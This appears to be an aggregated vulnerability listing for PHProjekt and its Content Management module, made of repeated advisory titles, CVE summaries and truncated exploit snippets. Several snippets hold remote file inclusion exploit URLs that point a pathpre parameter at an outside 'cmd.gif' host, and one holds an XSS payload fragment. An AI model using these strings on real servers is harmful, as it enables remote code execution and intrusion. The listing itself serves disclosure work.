phprojekt061.txt

Content management module for PHProjekt v0.6.1 Remote File Inclusion Vulnerability 2 Found By: D3nGeR E-Mail: [email protected] exploit: http://Target/Path/cmlib.inc.php?pathpre=http://cmd.gif? http://Target/Path/doc/br.edithelp.php?pathpre=http://cmd.gif?...

PHProjekt v0.6.1 Remote File Inclusion Vulnerability (2)

Content management module for PHProjekt v0.6.1 Remote File Inclusion Vulnerability 2 Found By: D3nGeR E-Mail: [email protected] exploit: http://Target/Path/cmlib.inc.php?pathpre=http://cmd.gif? http://Target/Path/doc/br.edithelp.php?pathpre=http://cmd.gif?...

PHProjekt 6.1 - path_pre Multiple Remote File Inclusions

PHProjekt 6.1 - pathpre Multiple Remote File Inclusions Content management module for PHProjekt v0.6.1 Remote File Inclusion Vulnerability Download: http://www.mariovaldez.net/software/cm4p/files/cm4p0.6.1.tar.gz Found By: the master exploit:...

PHProjekt <= 6.1 (path_pre) Multiple Remote File Include Vulnerabilities

No description provided by source. Content management module for PHProjekt v0.6.1 Remote File Inclusion Vulnerability Download: http://www.mariovaldez.net/software/cm4p/files/cm4p0.6.1.tar.gz Found By: the master exploit: http://Target/Path/cmnavigation-33.inc.php?pathpre=http://cmd.gif?...

PHProjekt 6.1 - 'path_pre' Multiple Remote File Inclusions

Content management module for PHProjekt v0.6.1 Remote File Inclusion Vulnerability Download: http://www.mariovaldez.net/software/cm4p/files/cm4p0.6.1.tar.gz Found By: the master exploit: http://Target/Path/cmnavigation-33.inc.php?pathpre=http://cmd.gif?...

PHProjekt Content Management Module 0.6.1 - Multiple Remote File Inclusions

PHProjekt Content Management Module 0.6.1 - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/19628/info Multiple remote file-include vulnerabilities affect the Content Management module for PHProjekt because the application fails to properly sanitize user-supplied input...

PHProjekt Content Management Module 0.6.1 - Multiple Remote File Inclusions

source: https://www.securityfocus.com/bid/19628/info Multiple remote file-include vulnerabilities affect the Content Management module for PHProjekt because the application fails to properly sanitize user-supplied input before using it in a PHP 'include' function call. An attacker may leverage...

CVE-2006-4204

Multiple PHP remote file inclusion vulnerabilities in PHProjekt 5.1 and possibly earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 pathpre parameter in lib/specialdays.php and the 2 libpath parameter in lib/dbmanfilter.inc.php...

CVE-2006-4204

Multiple PHP remote file inclusion vulnerabilities in PHProjekt 5.1 and possibly earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 pathpre parameter in lib/specialdays.php and the 2 libpath parameter in lib/dbmanfilter.inc.php...

CVE-2006-4204

PHProjekt 5.1 and earlier contain multiple PHP remote file inclusion flaws. An attacker can craft a URL to cause arbitrary PHP code execution via the lib/specialdays.php path_pre parameter or the lib/dbman_filter.inc.php lib_path parameter. Affected versions include PHProjekt 5.1 and possibly ear...

[SA21526] PHProjekt "path_pre"/"lib_path" File Inclusion Vulnerabilities

---------------------------------------------------------------------- Hardcore Disassembler / Reverse Engineer Wanted! Want to work with IDA and BinDiff? Want to write PoC's and Exploits? Your nationality is not important. We will get you a work permit, find an apartment, and offer a relocation...

PHProjekt <= 5.1 Multiple Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ============================================================= PHProjekt = 5.1 Multiple Remote File Include Vulnerabilities ============================================================= / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + ...

PHProjekt 5.1 - Multiple Remote File Inclusions

PHProjekt 5.1 - Multiple Remote File Inclusions / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Script name: PHProjekt v. 5.1 - Script site: http://www.phprojekt.com/ + + + - Find by: Kacper a.k.a Rahim + - Contact: [email protected] - or - http://www.devilteam.yum.pl + + + - Greetz:...

PHProjekt authform.inc.php path_pre Parameter Remote File Inclusion

The remote host is running PHProjekt, an open source groupware suite written in PHP. The version of PHProjekt installed on the remote host fails to sanitize user-supplied input to the 'pathpre' parameter of the 'lib/authform.inc.php' script before using it in a PHP 'includeonce' function. Provide...

PHProjekt 5.0 XSS

TITLE: PHProjekt 5.0 XSS Severity: Low SOFTWARE: PHProjekt 5.0 http://www.phprojekt.com DESCRIPTION: This is the 3rd bug I have found today in some kind of a portal sistem.This time the bug is a XSS here is a example: loginform=1&returnpath='scriptalert'Found By...

CVE-2002-1761

Directory traversal vulnerability in PHProjekt 2.0 through 3.1 allows remote attackers to read arbitrary files via .. dot dot sequences...

CVE-2002-1758

PHProjekt 2.0 through 3.1 allows remote attackers to view or modify data via requests to certain scripts that do not verify if the user is logged in...

CVE-2002-1757

PHProjekt 2.0 through 3.1 relies on the $PHPSELF variable for authentication, which allows remote attackers to bypass authentication for scripts via a request to a .php file with "sms" in the URL, which is included in the PATHINFO portion of the $PHPSELF variable, as demonstrated using...

CVE-2002-1760

Multiple SQL injection vulnerabilities in PHProjekt 2.0 through 3.1 allow remote attackers to execute arbitrary SQL commands via the unknown attack vectors...

CVE-2002-1761

CVE-2002-1761 affects PHProjekt versions 2.0 through 3.1 and is a directory traversal vulnerability that allows remote attackers to read arbitrary files via .. sequences. The connected sources confirm the affected software and vulnerability class but do not provide exploitation details or explici...